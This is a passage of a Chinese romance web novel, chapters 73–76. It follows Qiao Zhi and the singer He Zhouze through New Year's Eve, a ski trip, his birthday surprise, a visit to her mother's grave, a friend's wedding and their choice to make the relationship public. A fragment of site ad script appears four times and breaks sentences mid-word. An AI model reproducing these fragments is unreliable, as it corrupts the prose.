两人并排坐着,一边吃着饭一边看电视。 春晚已经放到了后半程,舞台正表演着一个家庭主题的小品。心有隔阂的母女终于解除误会,一家人和和气气地团聚在一起。 乔之有些落寞道:“我刚回国的时候没想到我妈竟然病得那么重,还以为今年能一起过年……” 谁曾想她们只相处了短短几个月,乔希便撒手人寰。 “到这样阖家团聚的时刻,我才清楚意识到……原来我已经没有家人了。”乔之的语气很淡,但暗藏伤感。 何舟泽伸手抱住她,在她耳侧柔声道:“乔乔,以后我就是你的家人,我会陪你度过每一个除夕。” 他握住了她的手,温柔而有力。 73.第七十三章 到了后半夜,天上忽然飘起了雪花。 春晚已行进到尾声,《难忘今宵》准时开始。 乔之站在整面的玻璃墙前看飞雪落下,有些想不起来上一次看雪是什么时候了。 江临到底是在南方,这些年很少下雪,圣地亚哥更是年年暖冬。 “下雪了。”乔之转头对坐在沙发上的何舟泽说道。 何舟泽闻声走过来,给乔之挂上了一件披肩,顺势从身后环抱住她。 他没有抬头看窗外,似乎已经对此习以为常:“今年已经下了好几场雪了。” 接下来一段时间直到年后的巡演开始之前,何舟泽都没有工作安排。前些年他一直连轴转,几乎没有休过假,现在终于挤出了十天半个月可以肆意挥霍。 他见乔之看雪看得认真,忽然想起来一些往事。 “乔乔。”何舟泽的下巴抵着乔之的头发,轻声唤了一句。 “嗯?” “你想去滑雪吗?我朋友在郊区开了个滑雪场,那边风景不错,我们可以去玩几天。” 他这话一说出口,两人都不约而同地想起了多年前在札幌的旅程。 乔之后来才知道,原来何舟泽和她一样仍留着当初拍下的照片,所以两人重逢之时,他见到她桌上的相框才会那般神态。 不只是他忘不了,她也一样没放下。 那次旅途结束后,他们没有再一起滑过雪。所以虽不是故地重游,但何舟泽的这个提议也算是一种重温。 乔之点点头,应了句:“好啊。” - 年初五,京郊的度假中心恢复营业,两人一早就到了滑雪场。 何舟泽口中的朋友竟然是江大毕业的学长,这几日正好在度假中心视察工作。得知他们俩要来,他特意抽空来接待。 身材精瘦的男人见了何舟泽就喊:“大明星,我可算把你给盼来了。” 何舟泽拍了拍他的肩,正准备向他介绍乔之,不想对方已经主动开口道:“这位就是乔学妹吧?幸会幸会,我叫蒋嘉延。” 乔之和他握了握手,道:“你好,我是乔之。” 到底是混迹生意场的人,蒋嘉延精准把控着聊天的限度,没追着八卦何舟泽的私事,客客气气地把两人带到了地方。 度假区有自营的酒店,眼下时间还早,来的人不算多。 蒋嘉延一手包办了所有行程,直接给两人开了个带私人汤池的豪华套房。 “你们俩在这儿随便玩,都记我名下。”蒋嘉延拍拍何舟泽的肩膀,一副大气十足的样子,一路将两人送到房间门口。 刚刚一路上听他聊,乔之才知道原来他和何舟泽是在几年前的一次校友活动中认识的。 蒋嘉延是个富家子,这个度假中心只是他们家的产业之一。 当初何舟泽在京市艰难度日,蒋嘉延曾接济过他。后来蒋家的生意出了问题,何舟泽又帮着牵线搭桥给他介绍了几个媒体人,蒋家这才度过舆论危机,蒋嘉延也在那次风波中顺势上位。 因着过去这层互帮互助的缘分,两人的关系才如此熟络。 何舟泽倒是已经见怪不怪,没推脱,只笑道:“好啊,那就谢过蒋老板了。” 乔之跟着颔首表示谢意,把行李箱接了过来。 其实他们俩没打算在这里待很久,只两个晚上。 再过一周何舟泽的巡演就要开始了。在那之前,乔之想带他回江临祭拜乔希。毕竟乔希走前希望他们能重归于好,所以她想让她知道,以后她就不是一个人了。 两人在房间里简单休整片刻便换上了滑雪的装备。 乔之的滑雪服是新买的,粉白的配色与何舟泽身上的蓝白色正好是一对。即便戴上帽子和眼镜后人鬼难辨,但外人一看便知两人的关系。 而这两个配色恰好和当年他们在札幌穿的那两套重合。 刚拿到衣服的时候,乔之故意问何舟泽:“这衣服怎么这么眼熟?我们这次是要去札幌吗?” 何舟泽丝毫没有被拆穿的尴尬,玩笑道:“你想去吗?我马上订机票。” 乔之赶紧按住他拿手机的手,生怕他真的冲动购票。结果一不留神,她就跌倒在了他的身上。 何舟泽挑挑眉:“乔老师突然投怀,是想贿赂我吗?” 他低头在乔之的脸颊轻啄了一下:“既然这样,那我不买票可就说不过去了。” 乔之笑着拍开他道:“我的签证早就过期了。” “那真是太可惜了。”何舟泽佯装惋惜的样子,“我去年才刚刚办了多年签呢。” 听他提起这个,乔之忽然想起程青筠曾说她上一年去札幌滑了一周雪。 于是她问:“青筠也说她去年寒假在札幌玩了一周。你俩一起的吗?” 何舟泽道:“嗯。当时我在东京有个广告拍摄,结束后顺便休了一周假。她知道后非缠着要一起来。” 乔之愣了愣。 何舟泽问:“你是不是想问为什么是札幌?” 乔之没否认,却又觉得这个问题有些自作多情。 不想何舟泽搂紧了她,承认道:“就是你想的那个原因。和你分开的日子里,我只能通过这样的方式想念你。去我们一起去过的地方,做我们曾做过的事。” 无论是江临还是札幌,无论是晴天还是雨天。 他们在一起太久了,所以与彼此有关的回忆是那么多,几乎没有办法将其过滤干净,只能任由想念在无人知晓处疯长。 乔之半晌没说话,何舟泽刮了刮她的鼻子,笑说:“不过我现在的水平不可同日而语,过几天你可别太惊讶。” - 何舟泽所说的不可同日而语的滑雪技术果真不是骗人的,他在中级道顺畅地滑了几圈,叫嚣着要往高级道去。但出乎他意料的是,乔之也进步了很多,和他不相上下。 想当初她在中级道都能摔得底朝天。 何舟泽远远地冲她喊道:“乔乔,你是不是偷偷训练了?” 乔之停下来,回头露出了一个笑容:“是啊,你以为只有你在进步吗?” 说完后便一溜烟地往下滑走了。 圣地亚哥的确没有雪,但北加有很多处很好的滑雪场,更别提临近的科罗拉多本就是滑雪胜地。Kylie就是滑雪爱好者,假期的时候常拉着乔之同行。 乔之没什么运动天赋,但她有超乎常人的恒心与毅力,所有她想要做到 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的事,她都会努力去完成。就像大一时难以及格的800米体测,在大四毕业前她已经能跑进良好的分数线。 滑雪亦如是。 两人滑到正午,滑雪场的人逐渐多了起来。乔之担心何舟泽会被人认出来,正好她也滑累了,于是便抓着他回了房间。 酒店有送餐服务,各种菜系一应俱全,乔之随便勾选了几项。 早上到的时候没来得及好好参观一下房间,等餐的途中,乔之四处转了转。 蒋嘉延很豪气,给他们俩订的是最高级的套房。客厅出去就是一个不小的庭院,正中有个半露天的温泉池,里头暂时还没有放水。 “这儿是天然温泉,泡一泡还挺舒服的。”何舟泽看了看乔之,欲言又止,“……我们晚点可以试试。” 虽然他们已经恢复了情侣的关系,但他一直很克制,这些天最多不过接吻或者抱着睡觉,谁都没有做到最后一步。 一起泡温泉听上去就过于让人脸红心跳了。 乔之耳根乍然变红,支吾道:“再看吧。” 正好这时来了个电话,乔之转身躲进了房间,把何舟泽关在了外面。留他一人在原地失笑。 来电的是一家蛋糕店,对方再次和她确认送货时间。 马上就要到何舟泽的生日了,乔之前些日子私下偷偷预定了一个蛋糕。但因为生日和这次行程撞上,而度假中心又地处郊区,位置偏远,她多付了好几倍的配送费才找到跑腿。 “一定要在晚上六点前送到,麻烦了!”乔之再三叮嘱。 那边本不愿意接这个单子,但耐不住乔之给的价高,来回几趟都能赚回本。面对这样豪爽的顾客,蛋糕店的人好声好气地应道:“乔小姐,您放心,我们保证准时送达。晚些时候我把效果图发给您看看,有需要调整的地方及时沟通哈~” 乔之的计划是在晚饭时间为何舟泽庆生。 其实她并不擅长制造惊喜,从前也总是何舟泽做得更多。 她的生日在八月底,往往是开学前一周。无论暑假身处何地,何舟泽都会准时出现,每一年生日的第一秒钟他都要在她的身边。 他陪她度过的那三个生日里,他们一起露过营,一起看过日出,一起吃了蛋糕和长寿面。他总是陪她走向新的一岁。 但是后来他们彼此缺席了六个生日,而今年是他们重新在一起后的第一年,所以乔之想陪他好好度过。 为了不让何舟泽发现,她和店家沟通的时候总是找借口避开他。就像刚刚,她借由着害羞躲进了放进——虽然害羞的确也是真的。 “咳——”何舟泽轻咳一声,敲了敲卧室的门,说道,“午饭送到了。” 乔之正在检查店家给她发来的蛋糕效果图,一时没出声回应。 何舟泽压着笑,道:“快出来吃饭吧。不想泡温泉也没关系。” 听他又提这件,乔之刚降温的耳根又倏地热了起来。 她一把拉开房门,道:“……什么?我没说不想……” 这句话一说完,她又意识到不对,抬头却见何舟泽眼底带着不怀好意的笑。 他捏住了她的耳朵,俯下身轻声道:“好啊,那我晚点就联系管家放水。” 74.第七十四章 翌日,何舟泽迷迷糊糊地从梦中醒来,身边的位置已经空了。 他疑惑地起身走到客厅,发现乔之正在屋外打电话。她的声音压得很低,他只能隐约听见不成句的只言片语。 室外的气温低,但乔之只穿了件薄薄的毛线衫。何舟泽叹了口气,拎起件厚实的外套便往外走。 落地门窗被推开时发出了轻微的响动,乔之转头,见是何舟泽。她匆匆挂断了电话,眼神中闪过片刻的慌张。 刚刚是和蛋糕店在做最后的确认,下午他们完成蛋糕的制作后就会派人送到度假中心。 何舟泽似是没注意到她的动作,只贴心地给她披上外套,道:“外面这么冷,你怎么不多穿一点?” “工作上的事,说不了几句就能进屋了。” 像是遮掩般,乔之心虚地扯了个谎,拉着何舟泽又回了室内。 乔之其实也是刚醒没多久,她一睁眼就已经九点多,看见店家在微信上给她留了条消息,于是便匆匆起来回了个电话。 她一向习惯早睡早起,七点不到就会自然醒。但这段时间不知为何她却越起越迟,在何舟泽身边似乎就能安心地陷入冬眠,多久都不用担心被人打扰。 乔之推着何舟泽一起去卫生间刷牙。他们的动作像是提前训练过,保持着一模一样的幅度和频率。 何舟泽盯着镜子中的人看,嘴角还沾着点白沫,但从胸腔里发出了一声含糊的笑。 乔之见他咧着嘴傻笑的模样,漱了漱口,奇怪地问道:“你笑什么?” 何舟泽也跟着漱口,用手里的牙刷上下比划着:“我忽然发现我们俩的刷牙动作好像——都是前、左、右上下十几秒,然后再是内侧。” 乔之不懂他莫名其妙的笑点:“因为我们小时候都认真学习了刷牙?” 毕竟她从幼儿园开始就是这么个刷牙顺序了。 “咳咳——”何舟泽笑得更张扬了,“乔之小朋友,今天刷牙表现很好。老师要奖励你一个吻。” 说着,他的脸就凑了过来。 没等乔之反应过来,一个带着薄荷味儿的吻就落在了她的脸侧。 “乔老师,我也想要奖励。”何舟泽的角色身份切换得飞快,毫不犹豫地换了个马甲,一脸期待地指了指自己的唇角。 乔之瞥了他一眼:“二十九岁已经不是可以好好刷牙就能获得奖励的年纪了。” 何舟泽道:“喔——我今天二十九了,这还要不到一个吻吗?” 他话里头的企图不能更明显,恨不得将“今天是我的生日”写在脸上。 乔之知道若是不依他,他肯定得接着纠缠下去。而且今天是个特殊的日子,寿星的确该拥有一些她默许的特权。 她飞速地掠过何舟泽的唇角,轻声道:“何舟泽,生日快乐。” 分开多年后的第一个生日,祝你快乐。 何舟泽没想到乔之这么快就放弃抵抗,微怔了片刻,然后笑得更欢了。 他抱住乔之:“要是天天都是我的生日就好了。” 乔之见他得寸进尺的样子,笑着挣脱开:“你想得倒是挺美。” 打闹了片刻后,两人在房间里点了个早午餐,裹上厚实的雪服后又出了酒店。 这个度假中心除了滑雪场,还开设了很多其他的娱乐项目,例如缆车、雪橇、滑轮胎等。 今天的游客量比昨日更多,不少项目都排着长队。 不过因为所有人都包裹得严严实实,带上雪镜和帽子后谁也认不出谁,所以他们俩放心大胆地尝试了许多活动。 终于挨到了晚饭时间,何舟泽提前预定了酒店里的餐厅包厢。不知是不是蒋嘉延事先打过招呼,最后竟然还额外上了一碗长寿面。 吃饭途中,外头又飘起了鹅毛大雪。 乔之一直偷瞄着时间,担心蛋糕没法及时送达。终于在临近六点时,店家发来了信息,说是蛋糕已经送到了酒店前台。 乔之暗自松了口气,却见何舟泽正盯着自己看:“你从刚刚开始就一直在看手机,是有什么急事吗?” “没……”乔之下意识否认了,随即又想到眼下蛋糕已经送到了,她没必要再藏着掖着,于是又是一笑,“你稍等一下,我去取个东西。” 何舟泽从几天前就注意到了乔之的不对劲,今早在听到她在打电话时说“原料”“准时”之类的词语时,他便猜到了可能是与他的生日有关。 不过他也一直装作没发现,由着乔之准备那个意料中的惊喜。 毕竟无论是什么都好,只要是她准备的,他都欣喜万分。 果不其然,十分钟后,乔之提着一个蛋糕盒子回了包厢。 她订的是一个微景观蛋糕。 连绵的雪山高低起伏,山脚下有两个滑雪的小人。穿着蓝色外套的小人正摔在地上,粉色衣服的小人在开怀大笑。 ——这是二十岁的他们曾一同经历过的瞬间。 何舟泽即便早有心理准备,但在看到这样一个蛋糕时内心还是无比震动。 乔之认真地对着他说:“生日快乐。希望以后每一天,我们都会像这一天一样开心快乐。” 像二十岁那天一样笑得开怀,爱得坦荡。 何舟泽忽然感到泪意上涌,过去七年的孤独日子太漫长了,而今他终于走了出来,重新等到了想见的人。 他的眼中闪着些许泪光,嘴角却还是带笑:“怎么办?我都有点舍不得吃了……” 乔之为他点上蜡烛,笑说:“那不可行。一会儿回房间我还准备了一个小礼物。” 到最后,何舟泽只在山脊上切了一刀,底下那两个小人说什么也不肯动,非要原样装回蛋糕盒子。 两人手牵手回了房间。 乔之没想到何舟泽竟然这么容易就被感动到,一路上都挂着一副要哭出来的模样。她甚至有点担心待会儿他见到她准备的另一个惊喜后会真的哭出来。 一关上房门,何舟泽主动开了口:“乔乔,另一个礼物在哪?” 乔之深深地看了他一眼,下定决心般从包里翻出一个东西。 何舟泽看着她手上的平板电脑,不明所以。 很快,他就看见她打开了一个钢 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 琴模拟软件,然后手指缓缓地按动了黑白琴键。 模拟的钢琴音比不上真实的琴声,但何舟泽在听见旋律的第一秒就落下了眼泪。 没有人比他更熟悉这首歌——这首他写给她的情歌。 “ …… 此生唯一的篇章, 早已在雨中绽放。 原来情歌不必唱, 你是爱的具象。 …… ” 乔之很少在人前唱歌,连何舟泽都是第一次听见她完整地弹唱一首歌。她的唱腔生涩,但却纯净得一丝不染,每一句都撩拨着他的心弦。 而且,她偏偏唱的还是《不唱情歌》的第二个版本,那个被掩埋了六年的秘密。 一曲完毕,乔之羞赧地抬头:“抱歉,可能唱得不是很好……” 话音未落,她就愣住了,因为眼前的何舟泽已是泪流满面。 何舟泽紧紧抱住了她,哑声道:“你什么时候开始准备的……” 毕竟不同于他们俩都很熟悉的第一个版本,也不是两个月前公开发表的第三版。乔之唱的是那个不为人知的第二版,根本没有成文的歌词和乐谱。 乔之的手僵在半空,终是落在何舟泽宽厚的后背上。 她道:“我参考了网上的新版乐谱,自己调整了一部分旋律。不过好像还是有些出入……” 她没有专门学过音乐,只能凭借着耳朵一遍遍校对。 而且她还要避着何舟泽不被发现,所以花费了不少功夫才还原到这个程度。 何舟泽久久未出声,身体却在颤抖。 乔之拍了拍他:“……何舟泽,生日快乐。希望这个礼物,你能喜欢。” 何舟泽放开了她,他的脸上还挂着晶莹的泪珠,但却露出了一个真挚的笑:“我很喜欢。这是我收到过的……最好的生日礼物。” 乔之抬手拂去他的眼泪,抬眼看见他朦胧的眼中全是自己。 何舟泽动情地落下一个深吻,两人的嘴唇都炽热非凡,包裹着无尽的爱意和赤诚。 这明明不是他们第一次接吻,可乔之的心里却有什么东西忽地炸开了,牵扯着她的心跳振动如擂鼓。 “乔之,我爱你。” 他连名带姓地叫她,让这句简单的情话变得无比郑重。 乔之揽着他的脖子,脑子早已是一团乱,但她应得真心:“……我也爱你。” 无论是从前还是现在,她都爱着他,就像他爱她一样。 她爱他的炽烈,爱他永远为她燃烧。她爱他从来都站在她的身边,给她充分的尊重、理解和自由。 他们的爱是一起前行,是谁都不会绊着谁的脚步。 下一秒,乔之再次覆上何舟泽的双唇。 客厅开着鹅黄色的暖色灯光,他们交缠的侧影被投射在了墙壁上。 暧昧的氛围在屋内四处蔓延,他们都在升温。 屋外飘摇的雪不知何时已经停了。 何舟泽喘息着停下来,咬着乔之早已发红的耳朵道:“乔乔,要不要一起去泡温泉?” 75.第七十五章 飞机落地江临的时候,乔之还没从睡梦中完全清醒过来。 前一天两人折腾得太晚,又一早起来赶早班机回江临,她到现在都还是晕头转向的。 何舟泽倾身替她摘掉眼罩,小声道:“乔乔,先醒醒,准备下飞机了。” 见乔之还是睡眼惺忪、一脸疲倦的模样,他有些心疼道:“等下回家再睡一会儿,下午再去看阿姨吧。对不起,昨天都怪我……” 他这话说得倒是很诚恳,却又让乔之的脑子里不得不闪回了昨夜的一些片段。比如他细密的吻,比如她咬在他肩头的牙印。 这么一想,她的脸又不由得烧了起来。 她轻声埋怨:“你还好意思说。” 何舟泽悄悄握住她藏在毛毯下的手,轻轻摇了摇,微挑的眉头里是抑制不住的喜色。 不过他嘴上还是说着:“对不起嘛,下次我会注意一点的。” 等到了何舟泽家,乔之已经快睁不开眼,无意识地就往上次住过那间客房走。 何舟泽在身后按着她的肩膀,生生将她调转了一个方向:“房间在这边。” 说的是他平时住的主卧。 主卧的面积更大,正中的大床看上去温暖又柔软,乔之倒头就躲进了被窝。 何舟泽见她这副模样,忍俊不禁。 他顺手拉上了窗帘,房间里顷刻间又陷入了昏暗。 乔之迷迷糊糊地感觉到有人在亲她,毛茸茸的头发蹭得她有些痒。她撑开眼皮,映入眼帘的就是何舟泽那张常年带笑的脸。 “别闹,我好困。”她伸手推了他一把,随即便转了个身子背对着他。 何舟泽凑近抱紧她,下巴抵在她的颈窝处,耳语道:“好,我就抱抱你。” 这回他的确是说到做到,没再动手动脚,两人就这么安安静静地抱着睡了一上午。 等刺眼的阳光透过并未严丝合缝的窗帘照进来时,已是正午时分。 他们约好了下午要去墓园祭拜乔希,所以简单吃完午饭后便开车出了门。 今天江临的天气很好,艳阳高挂,晴空万里,连迎面扑来的风都少了几分凉意。 墓园的植被依旧碧绿,无数灵魂在此安眠。 这次两人没有选择坐摆渡车,而是一路漫步上山。 乔之握着何舟泽的手,说道:“我和你说过吗?我以前一直以为她为了男人和爱情轻易地把自己和我一并抛弃了,所以很害怕会因为所谓的感情步她后尘。” 何舟泽紧了紧她的手,接着听下去。 “……其实我没那么怪她丢下我,因为和外婆一起生活也很好。我最无法接受的是……她丢掉了自己的人生。”因此她生出了一些类似“恨铁不成钢”的想法,痛恨乔希甘作菟丝花。 乔之抬头看天,轻叹一声:“可事实上是我误会了。直到她离开,我才意识到自己的偏见是如此之深。” 何舟泽揽住她的肩膀,柔声道:“其实在阿姨病重后,我和她见过一面。” 那是在乔之和他说“再也不要见面”后,他偷偷打听了乔希的病情,又私下联系了京市主攻胃癌的专家。 那天也像今天一样阳光明媚,躺在床上的女人虽瘦骨嶙峋,但眼睛却熠熠生辉。 乔希只一眼,就认出了站在病床旁的何舟泽。 “……是小何吗?”她的神情有些惊讶。 何舟泽礼貌道:“乔阿姨好,我是何舟泽。” 乔希殷切地握住了他的手:“乔乔回国了,你们见过面吗?” “见过了……她和我说了您的情况。”何舟泽捡了个好听的说辞,没有坦白自己和乔之的关系其实尴尬,“我联系了一位有名的肿瘤专家,他明后天会来给您看看。阿姨,您有什么需要可以随时联系我。” 乔希面上带着淡淡的笑,细细打量着何舟泽的模样。她似乎对自己的病情已经看开,只拍拍他的手,道:“你费心了。我这个病可能就这样了,活再久也是累赘……” 虽然乔之很少提起自己的母亲,偶尔几次也装作不在乎或反感的模样,但何舟泽如何读不出她试图掩盖的心思。越在乎越容易被扰乱心情,乔希对她而言,就是这样的存在。 何舟泽柔声道:“阿姨,乔乔一定也很希望你能继续陪在她身边。” “那我或许又要让她失望了。”乔希眼底的光灭了一瞬,语气变得落寞,“我成为母亲的时候还太年轻,为了追求自己的理想忽视了很多东西,也没能给她足够的关心和陪伴。现在后悔也已经来不及了,我不奢望她原谅我,但希望乔乔以后能过得幸福快乐,一直被爱,也愿意去爱。” 何舟泽哑然,半晌才出声宽慰道:“……一定会的。” 至少他会一直爱着她,愿意给她全天下所有的幸福和快乐。 乔希盯着他看了一会儿,突然绽开一个笑:“阿姨有个不情之请。我走后乔乔就只剩一个人了,如果可以的话,我能拜托你今后照顾照顾她吗?” 她好歹比他们多活了些岁数,年轻人之间的弯弯绕绕一眼便能看得清楚。两个孩子之间分明还有情,只是因着一些误会耽误了这么久。 “……好。”何舟泽点头应下了。 如果乔之愿意的话,他想。 . 听到乔希希望她“一直被爱,也愿意去爱”时,乔之感到有些鼻酸。 乔希多年前就试图在那封信里告诉她“自由是既能选择不爱,也有勇气去爱”,谁曾想她一直到她走后才看见并开始学着去理解。 “我以前觉得她怯懦而不敢独立,后来才发现怯懦的人其实是我自己。”乔之吸了一口气,低声说,“我会努力变得勇敢。” 何舟泽停下来,认真地看着她:“乔乔,你已经很勇敢了。剩下关于爱的部分,我会陪你一起。” 转眼两人就走到了乔希所在的墓园。 墓碑前放着一束洁白的鲜花,叶片都还舒展着,似是不久前才放下的。看来姜永望才来过,他们恰好错开了。 乔之也在墓前放下了一束鲜花,轻声道:“妈妈,我们和好了,你不用担心我是一个人了。” 何舟泽率先在墓前蹲下,郑重地说:“乔阿姨,我是何舟泽。今后我会遵守和您的承诺。” 他们双手紧握,像是对未来的一切都笃定无比。 - 何舟泽的巡演就快开始,所以他只能在江临停留两日。好在温言的婚礼就安排在这几天, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他和乔之都能及时赶上。 温言和邵明喻已经在一起十年了。 十年前那个跨年晚会上,少年惊天动地的表白打动了心上人,于是便开启了一段相伴一生的良缘。 温言热情开朗,邵明喻谦逊温和。一动一静、如水如火,却又契合万分。 乔之在校期间和他们的接触并不多,但对这两人的印象都很好。 这是她第一次参加别人的婚礼,好在身边有何舟泽这样在任何场合都游刃有余的人,她倒是没遇到难以应付的情形。 他们俩被分在了大学同学那一桌,桌上显然还有几位音乐社的前社员,见到何舟泽都惊讶地起身。 “天哪,温言还真把你这尊大佛请来了。”一个戴眼镜的男人撞了撞他的肩,看上去关系不错。 何舟泽笑说:“你们都在,我哪敢不来。你最近生意怎么样?” “还行吧。下次来深州记得找我喝酒。” 有人打头,其他人也三三两两开始与何舟泽攀谈起来。 过了一会儿,眼镜男注意到一边的乔之。许是抱着方才忽视了她的歉疚,他主动引了个话题:“这位有点眼生,也是咱江大的校友吗?大明星给介绍介绍呗。” 他方才见乔之与何舟泽一起过来,推测两人认识。眼下这句话是面对着何舟泽问的。 没等何舟泽开口,乔之先伸出了手:“你们好,我是江大18级海洋科学系的乔之,和温言学姐认识。” 她这话一说,让人错以为她和何舟泽只是恰好同行,毕竟两人的举止看起来并不亲密。 眼镜男和她握了握手,递过来一张名片:“您好您好,我是15级管院的班鸿。现在在深州开了家小公司,做医疗器械。您现在在哪里高就?” 乔之回了句:“在江大当老师。” 一个梳着丸子头的女人听见两人的对话,忽然惊呼了一声:“诶,你是不是前段时间和温言一起录了个视频来着?” 乔之点点头,对方又道:“怪不得我觉得你有点眼熟,你们那个视频太火了,我们单位的人都在看。” 女人特意换了个位置,坐到乔之身边:“我叫文宁,16级环科的,现在在市环保局上班。” 正好婚礼还没开场,有人提了这个话题,桌上其他人的目光便聚焦到了她身上。 方才何舟泽的出现虽然轰动,但他有个大明星的身份在,不熟的人也不好意思上来搭话。这下反而破天荒地让他受到了冷落。 聊着聊着,乔之忽然收到了一条消息。 【H:乔老师,你太受欢迎了[可怜]】 乔之看了他一眼,对方正对着她可怜巴巴地眨眼。乔之抿唇一笑,将手机屏幕朝下盖在了桌上,转头又跟文宁聊了起来,故意没理会他。 吃了一会儿,司仪入场过流程。 温言今天格外美丽,眼底都闪烁着亮光。邵明喻为她戴上戒指,高兴的同时眼角却泛了红。 乔之第一次在人的脸上看见幸福的具象化。 在这个瞬间,她忽然意识到原来婚姻也不一定就是自由的囚笼。对于相爱的人来说,这是去往幸福的通行证。 饭桌底下,何舟泽悄悄握住了她的手。 76.第七十六章 婚礼结束后,乔之这一桌喝倒了大半。何舟泽要保护嗓子,全程只喝了几杯温水,所以到最后完全清醒的人竟然只有他们俩。 温言和邵明喻两位新人因为要一桌桌敬酒,自然也喝了不少。 乔之好心地留下来帮他们送宾客,何舟泽也在一旁与人合照签名。 等人走得差不多后,温言忽然就扯住了何舟泽的衣服,一手又挽过乔之。 她的脸颊微红,醉醺醺道:“何舟泽!你给我好好珍惜乔之,是男人就不、不许欺负她!听到没有?” 被强行锁住的何舟泽有些哭笑不得,连连点头答应。 邵明喻稍清醒一些,帮着拉开她,一边道歉,一边却低声附和:“我老婆说的没错。” 温言的手一放开,整个人都失了力,一下又倒在了邵明喻的身上。 她嘟囔着:“邵明喻!你也要一辈子对我好,不然、不然……” 邵明喻宠溺地抱住她,笑道:“没有不然。我八辈子都对你好。” 平素里看上去内敛的邵明喻忽然说起情话来,让在场的其他人都不禁起了鸡皮疙瘩。 何舟泽拍拍他,道:“邵哥,我们就不在这儿看你俩虐狗了,先走一步。祝你们百年好合!” 乔之跟着道了句“新婚快乐”,跟着何舟泽走了。 乔之这一晚上都在与何舟泽避嫌,一句话也没跟他说。 等上了车,对方已经摆好架子准备质问她。 何舟泽故意酸溜溜道:“好巧,这不是乔老师吗?” “你干嘛?”乔之见他这般模样,忍俊不禁地解释,“我是怕传出绯闻,你们行业不是挺忌讳这个吗?” 何舟泽反驳了句:“谁说的?我们这是正经恋爱。” 说罢,他又正色道:“乔乔,我想公开恋情了。” 他是唱作型歌手,不是爱豆。这些年他兢兢业业,洁身自好。如今快三十了,于情于理都可以开始考虑个人生活了。更何况,他的心里一直都装着乔之。 乔之愕然:“……你打算怎么公开?” 毕竟她并不在娱乐圈。 其实何舟泽早就想过这个问题,方鸣更是在瞅出两人旧情复燃的苗头就预备好了方案。 何舟泽之所以想公开恋情,是因为他不想再被误会营销单身人设,也想将自己的真心宣告天下。他要爱得坦诚、毫不遮掩。 他唯一担心的是乔之的态度。 “乔乔,你愿意吗?”何舟泽踌躇了片刻,问道,“我会尽力保护好你的隐私,不让你受太多影响。如果你觉得为难,我们也可以再想想其他……” 乔之出声打断:“没关系。我们的关系光明磊落,我不介意别人知道你是我的男朋友,或者……我是你的女朋友。” 她不再担心被冠以他名,因为现在她已经有勇气可以告诉别人她的名字。避免成为影子的方法不是潜藏在黑暗中,而是成为另一道光芒。 何舟泽微怔了下,继而抱住了她。 “谢谢乔乔。”谢谢你再次向我迈出新的一步。 - 公开恋情不是一件小事,何舟泽决定亲笔拟写一份声明,方鸣也准备将公关方案提上日程。 在此之前,新一年的巡演开始了,第一站就在何舟泽的老家春明市。 春明市的地理位置比江临更南,所以气温要高上不少,二月底的日子便可以换上春装。 乔之本来很犹豫要不要陪何舟泽一起回家,毕竟她还没有做好见家长的准备。但她很想亲眼看看何舟泽的演唱会,于她而言这是第一次。 好在何舟泽的父母比她想象中要好相处得多。 他们刚到春明市的那天,何家派人来接他们一起去吃饭。 何父自几年前中风后就一直坐着轮椅,期间不常开口说话,但偶有几次发言都挂着笑。 何舟泽的笑眼与他父亲如出一辙。 何舟泽的妈妈是个看上去精明能干的女人,但对乔之的态度却极其温柔。她总是在恰当的时候给她添上几口菜,没有释放丝毫压迫感。 一顿饭下来,乔之高悬的心总算落了下来。 何父正好要去乡下调养理疗,两口子第二日就离开了春明市。乔之实际与他们接触的时间并不多。 而程青筠不知从哪里得来了消息,知道乔之在春明,当即就发过来一条微信消息。 【青云之上:乔老师!听说你也在春明,什么时候来的?】 【Jo:昨天。和你哥一起到的。】 这还是她跟何舟泽在一起后第一次与程青筠说话,原本简单的师生关系乍然多了一层别的马甲,乔之感到有些不习惯。 不过程青筠看上去一切接受良好,没几句之后就换了称呼。 【青云之上:感觉在校外还叫乔老师有些太生分,不如我也改叫乔乔姐吧!】 【青云之上:乔乔姐,你下午有安排吗?我哥是不是在彩排来着,你想出去逛逛?我可是春明市金牌地陪,童叟无欺[龇牙笑]】 乔之本也没比她大几岁,何况两人也许日后真的会成为一家人,对此倒是没什么意见。 不过她唯一担心的是小姑娘按捺不住的八卦之心。 果不其然,下午两人在商场的咖啡店里见面时,先到的程青筠早已是一副蠢蠢欲动的模样。 她对着乔之招手:“乔乔姐,这边!” 乔之坐下后,见桌上早已摆满了精致的甜点,每一样看起来都令人垂涎欲滴。 “我先点了几样他们家的招牌,我哥之前说你喜欢巧克力味的甜品。”程青筠一一介绍道,又递过来一张单子,“你看看有什么想喝的和其他想吃的。” 乔之随便选了一款画着推荐标志的咖啡。 待两人都安坐好,程青筠对着她星星眼道:“真好呀真好呀,没想到我还能解锁新的身份。” 乔之笑了笑,给她推过去一个蛋糕。 “乔乔姐,你和我哥都太能藏了。”程青筠像是想起什么似的,哀嚎道,“谁能想到我第一次试图八卦表哥的传闻就能撞上当事人。” 说的是她那回来办公室,企图向乔之打听何舟泽前女友的事。 虽然她事后察觉到那时乔之神情里有些微的不自然,但当下哪能想到一切会这么巧。这个世界居然小到她的导师就是她表哥心心念念多年的白月光。 “也不是……那时候以为之后不会再有接触了,所以没必要旧事重提。”乔之解释说。 好在cp成真,程青筠高兴都 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 来不及,也没把这些事放心上。 她小心翼翼地问道:“……所以你们真的从大一就在一起了吗?” 这话问完,程青筠见乔之的脸色没有不喜,于是便更加大胆地八卦起来,等到散伙的时候还缠着她不放。 何舟泽家离演唱会场地有些远,反正父母也不在,这些天他索性就住在了体育馆附近的酒店。 工作团队包了一整层楼,但毕竟人多眼杂,乔之单独开了个房间。 “真的吗?我哥还干过这种蠢事哈哈哈哈……”程青筠陪着乔之回房间,却不想,门一拉开,里头已经坐了个人。 何舟泽显然是听见了她的话,挑眉道:“我干过什么蠢事?说来让我也乐一乐呗。” 他一开口,程青筠当即噤声了。 